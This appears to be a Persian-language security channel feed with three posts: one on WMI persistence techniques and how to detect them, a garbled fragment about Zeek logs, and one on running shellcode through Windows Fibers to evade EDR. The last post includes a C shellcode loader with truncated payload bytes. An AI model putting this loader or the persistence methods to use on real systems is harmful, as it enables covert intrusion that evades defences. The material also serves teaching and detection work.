🔒 VulnCity
HTTPS://vulncity.com
Post #67
180
#! Showing posts older than #68 · Back to latest

در این مقاله بهصورت عمیق بررسی کردیم:
🔹 معماری داخلی WMI و نقش WmiPrvSE.exe و winmgmt
🔹 ساختار OBJECTS.DATA و نحوه ذخیره Subscriptionها در CIM Repository
🔹 اجزای اصلی Persistence شامل:
ا __EventFilter
ا CommandLineEventConsumer
ا __FilterToConsumerBinding
🔹 سناریوهای عملی:
ا Trigger شدن Payload با اجرای notepad.exe
ا Persistence مبتنی بر MOF
ا #PRAGMA AUTORECOVER و بازگشت خودکار Persistence پس از Rebuild شدن Repository
ا ترکیب WMI با Scheduled Task و Registry برای ایجاد Double Persistence
ا استفاده از WMI برای Lateral Movement و اجرای کد روی سیستمهای Remote
از دید Blue Team هم موارد زیر را بررسی کردم:
🛡 شناسایی Subscriptionهای مخرب
🛡 مانیتورینگ WmiPrvSE.exe Child Processها
🛡 Detection با Sysmon Event IDهای 19، 20 و 21


query_len و شناسایی دادههای کدگذاریشده در کوئریهاsmb_files, smb_mapping, dce-rpc و شناسایی اجرای Fileless (فیلدهای size=0)smtp.log و files.logاگر هنوز Zeek را راهاندازی نکردی، راهنمای نصب و پیکربندی اولیه را قبلاً در سایت منتشر کردیم — پیشنهاد میکنیم اول از آنجا شروع کنی.



#! VulnCity 🕶 ابزار پنهان: Windows Fiber بخش Fiber واحد اجرایی سبکوزنی در ویندوز است که برخلاف Thread، توسط سیستمعامل زمانبندی نمیشود و کنترل آن با برنامهنویس است. این ویژگی به مهاجمان اجازه میدهد shellcode را بدون ایجاد Thread جدید اجرا کرده و از EDRها فرار کنند.…
#include <Windows.h>
int main()
{
// Step 1 : Convert Thread to Fiber
PVOID mainFiber = ConvertThreadToFiber(NULL);
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0..."; // shellcode bytes
// Step 2: Allocate executable memory
PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeLocation, shellcode, sizeof shellcode);
// Step 3: Create fiber for shellcode
PVOID shellcodeFiber = CreateFiber(NULL,
(LPFIBER_START_ROUTINE)shellcodeLocation,
NULL);
// Step 4: Schedule fiber — shellcode is executed
SwitchToFiber(shellcodeFiber);
return 0;
}

CreateFiber و SwitchToFiber کمتر Hook میشوند و footprint کمتری نسبت به CreateRemoteThread دارند.



